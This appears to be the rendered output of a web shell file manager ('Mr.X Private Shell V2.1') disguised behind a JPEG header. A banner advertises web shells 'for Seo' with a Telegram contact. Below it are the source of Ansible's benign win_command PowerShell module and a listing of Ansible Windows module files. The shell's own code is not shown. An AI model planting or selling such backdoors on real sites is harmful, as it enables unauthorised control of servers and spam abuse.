����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#!powershell
# Copyright: (c) 2017, Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
#Requires -Module Ansible.ModuleUtils.Legacy
#Requires -Module Ansible.ModuleUtils.CommandUtil
#Requires -Module Ansible.ModuleUtils.FileUtil
# TODO: add check mode support
Set-StrictMode -Version 2
$ErrorActionPreference = "Stop"
# Cleanse CLIXML from stderr (sift out error stream data, discard others for now)
Function Format-Stderr($raw_stderr) {
Try {
# NB: this regex isn't perfect, but is decent at finding CLIXML amongst other stderr noise
If ($raw_stderr -match "(?s)(?<prenoise1>.*)#< CLIXML(?<prenoise2>.*)(?<clixml><Objs.+</Objs>)(?<postnoise>.*)") {
$clixml = [xml]$matches["clixml"]
$filtered = $clixml.Objs.ChildNodes |
Where-Object { $_.Name -eq 'S' } |
Where-Object { $_.S -eq 'Error' } |
ForEach-Object { $_.'#text'.Replace('_x000D__x000A_', '') } |
Out-String
$merged_stderr = "{0}{1}{2}{3}" -f @(
$matches["prenoise1"],
$matches["prenoise2"],
# filter out just the Error-tagged strings for now, and zap embedded CRLF chars
$filtered,
$matches["postnoise"]) | Out-String
return $merged_stderr.Trim()
# FUTURE: parse/return other streams
}
Else {
$raw_stderr
}
}
Catch {
"***EXCEPTION PARSING CLIXML: $_***" + $raw_stderr
}
}
$params = Parse-Args $args -supports_check_mode $false
$raw_command_line = Get-AnsibleParam -obj $params -name "_raw_params" -type "str" -failifempty $true
$chdir = Get-AnsibleParam -obj $params -name "chdir" -type "path"
$executable = Get-AnsibleParam -obj $params -name "executable" -type "path"
$creates = Get-AnsibleParam -obj $params -name "creates" -type "path"
$removes = Get-AnsibleParam -obj $params -name "removes" -type "path"
$stdin = Get-AnsibleParam -obj $params -name "stdin" -type "str"
$no_profile = Get-AnsibleParam -obj $params -name "no_profile" -type "bool" -default $false
$output_encoding_override = Get-AnsibleParam -obj $params -name "output_encoding_override" -type "str"
$raw_command_line = $raw_command_line.Trim()
$result = @{
changed = $true
cmd = $raw_command_line
}
if ($creates -and $(Test-AnsiblePath -Path $creates)) {
Exit-Json @{ msg = "skipped, since $creates exists"; cmd = $raw_command_line; changed = $false; skipped = $true; rc = 0 }
}
if ($removes -and -not $(Test-AnsiblePath -Path $removes)) {
Exit-Json @{ msg = "skipped, since $removes does not exist"; cmd = $raw_command_line; changed = $false; skipped = $true; rc = 0 }
}
$exec_args = $null
If (-not $executable -or $executable -eq "powershell") {
$exec_application = "powershell.exe"
# force input encoding to preamble-free UTF8 so PS sub-processes (eg, Start-Job) don't blow up
$raw_command_line = "[Console]::InputEncoding = New-Object Text.UTF8Encoding `$false; " + $raw_command_line
# Base64 encode the command so we don't have to worry about the various levels of escaping
$encoded_command = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($raw_command_line))
if ($stdin) {
$exec_args = "-encodedcommand $encoded_command"
}
else {
$exec_args = "-noninteractive -encodedcommand $encoded_command"
}
if ($no_profile) {
$exec_args = "-noprofile $exec_args"
}
}
Else {
# FUTURE: support arg translation from executable (or executable_args?) to process arguments for arbitrary interpreter?
$exec_application = $executable
if (-not ($exec_application.EndsWith(".exe"))) {
$exec_application = "$($exec_application).exe"
}
$exec_args = "/c $raw_command_line"
}
$command = "`"$exec_application`" $exec_args"
$run_command_arg = @{
command = $command
}
if ($chdir) {
$run_command_arg['working_directory'] = $chdir
}
if ($stdin) {
$run_command_arg['stdin'] = $stdin
}
if ($output_encoding_override) {
$run_command_arg['output_encoding_override'] = $output_encoding_override
}
$start_datetime = [DateTime]::UtcNow
try {
$command_result = Run-Command @run_command_arg
}
catch {
$result.changed = $false
try {
$result.rc = $_.Exception.NativeErrorCode
}
catch {
$result.rc = 2
}
Fail-Json -obj $result -message $_.Exception.Message
}
# TODO: decode CLIXML stderr output (and other streams?)
$result.stdout = $command_result.stdout
$result.stderr = Format-Stderr $command_result.stderr
$result.rc = $command_result.rc
$end_datetime = [DateTime]::UtcNow
$result.start = $start_datetime.ToString("yyyy-MM-dd HH:mm:ss.ffffff")
$result.end = $end_datetime.ToString("yyyy-MM-dd HH:mm:ss.ffffff")
$result.delta = $($end_datetime - $start_datetime).ToString("h\:mm\:ss\.ffffff")
If ($result.rc -ne 0) {
Fail-Json -obj $result -message "non-zero return code"
}
Exit-Json $result
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 0 B | 0644 |
|
| async_status.ps1 | File | 1.81 KB | 0644 |
|
| async_status.yml | File | 1.77 KB | 0644 |
|
| setup.ps1 | File | 49.89 KB | 0644 |
|
| setup.yml | File | 2.35 KB | 0644 |
|
| slurp.ps1 | File | 728 B | 0644 |
|
| slurp.yml | File | 1.5 KB | 0644 |
|
| win_acl.ps1 | File | 9.54 KB | 0644 |
|
| win_acl.py | File | 4.14 KB | 0644 |
|
| win_acl_inheritance.ps1 | File | 4.72 KB | 0644 |
|
| win_acl_inheritance.py | File | 2.34 KB | 0644 |
|
| win_certificate_store.ps1 | File | 19.78 KB | 0644 |
|
| win_certificate_store.py | File | 8.08 KB | 0644 |
|
| win_command.ps1 | File | 3.98 KB | 0644 |
|
| win_command.py | File | 6.13 KB | 0644 |
|
| win_copy.ps1 | File | 18.06 KB | 0644 |
|
| win_copy.py | File | 6.55 KB | 0644 |
|
| win_dns_client.ps1 | File | 12.99 KB | 0644 |
|
| win_dns_client.py | File | 2.13 KB | 0644 |
|
| win_domain.ps1 | File | 7.67 KB | 0644 |
|
| win_domain.py | File | 4.15 KB | 0644 |
|
| win_domain_controller.ps1 | File | 12.37 KB | 0644 |
|
| win_domain_controller.py | File | 5.66 KB | 0644 |
|
| win_domain_membership.ps1 | File | 10.36 KB | 0644 |
|
| win_domain_membership.py | File | 3.35 KB | 0644 |
|
| win_dsc.ps1 | File | 19.46 KB | 0644 |
|
| win_dsc.py | File | 7.31 KB | 0644 |
|
| win_environment.ps1 | File | 5.56 KB | 0644 |
|
| win_environment.py | File | 4.13 KB | 0644 |
|
| win_feature.ps1 | File | 4.1 KB | 0644 |
|
| win_feature.py | File | 4.63 KB | 0644 |
|
| win_file.ps1 | File | 5.4 KB | 0644 |
|
| win_file.py | File | 2.16 KB | 0644 |
|
| win_find.ps1 | File | 14.29 KB | 0644 |
|
| win_find.py | File | 11.19 KB | 0644 |
|
| win_get_url.ps1 | File | 11.59 KB | 0644 |
|
| win_get_url.py | File | 5.82 KB | 0644 |
|
| win_group.ps1 | File | 1.64 KB | 0644 |
|
| win_group.py | File | 1.1 KB | 0644 |
|
| win_group_membership.ps1 | File | 5.82 KB | 0644 |
|
| win_group_membership.py | File | 2.95 KB | 0644 |
|
| win_hostname.ps1 | File | 1 KB | 0644 |
|
| win_hostname.py | File | 1.07 KB | 0644 |
|
| win_optional_feature.ps1 | File | 2.84 KB | 0644 |
|
| win_optional_feature.py | File | 2.32 KB | 0644 |
|
| win_owner.ps1 | File | 2.18 KB | 0644 |
|
| win_owner.py | File | 1.05 KB | 0644 |
|
| win_package.ps1 | File | 51.85 KB | 0644 |
|
| win_package.py | File | 15.68 KB | 0644 |
|
| win_path.ps1 | File | 6.17 KB | 0644 |
|
| win_path.py | File | 2.94 KB | 0644 |
|
| win_ping.ps1 | File | 454 B | 0644 |
|
| win_ping.py | File | 1.16 KB | 0644 |
|
| win_powershell.ps1 | File | 29.57 KB | 0644 |
|
| win_powershell.py | File | 15.7 KB | 0644 |
|
| win_reboot.py | File | 4.76 KB | 0644 |
|
| win_reg_stat.ps1 | File | 4.11 KB | 0644 |
|
| win_reg_stat.py | File | 3.51 KB | 0644 |
|
| win_regedit.ps1 | File | 18.12 KB | 0644 |
|
| win_regedit.py | File | 6.35 KB | 0644 |
|
| win_service.ps1 | File | 37.85 KB | 0644 |
|
| win_service.py | File | 16.71 KB | 0644 |
|
| win_service_info.ps1 | File | 9.98 KB | 0644 |
|
| win_service_info.py | File | 9.44 KB | 0644 |
|
| win_share.ps1 | File | 11.93 KB | 0644 |
|
| win_share.py | File | 3.02 KB | 0644 |
|
| win_shell.ps1 | File | 4.93 KB | 0644 |
|
| win_shell.py | File | 5.69 KB | 0644 |
|
| win_stat.ps1 | File | 7.24 KB | 0644 |
|
| win_stat.py | File | 7.39 KB | 0644 |
|
| win_tempfile.ps1 | File | 2.46 KB | 0644 |
|
| win_tempfile.py | File | 1.49 KB | 0644 |
|
| win_template.py | File | 5.48 KB | 0644 |
|
| win_updates.ps1 | File | 57.42 KB | 0644 |
|
| win_updates.py | File | 11.95 KB | 0644 |
|
| win_uri.ps1 | File | 7.95 KB | 0644 |
|
| win_uri.py | File | 4.14 KB | 0644 |
|
| win_user.ps1 | File | 16.46 KB | 0644 |
|
| win_user.py | File | 5.43 KB | 0644 |
|
| win_user_right.ps1 | File | 13.78 KB | 0644 |
|
| win_user_right.py | File | 3.24 KB | 0644 |
|
| win_wait_for.ps1 | File | 9.56 KB | 0644 |
|
| win_wait_for.py | File | 4.42 KB | 0644 |
|
| win_whoami.ps1 | File | 30.96 KB | 0644 |
|
| win_whoami.py | File | 5.29 KB | 0644 |
|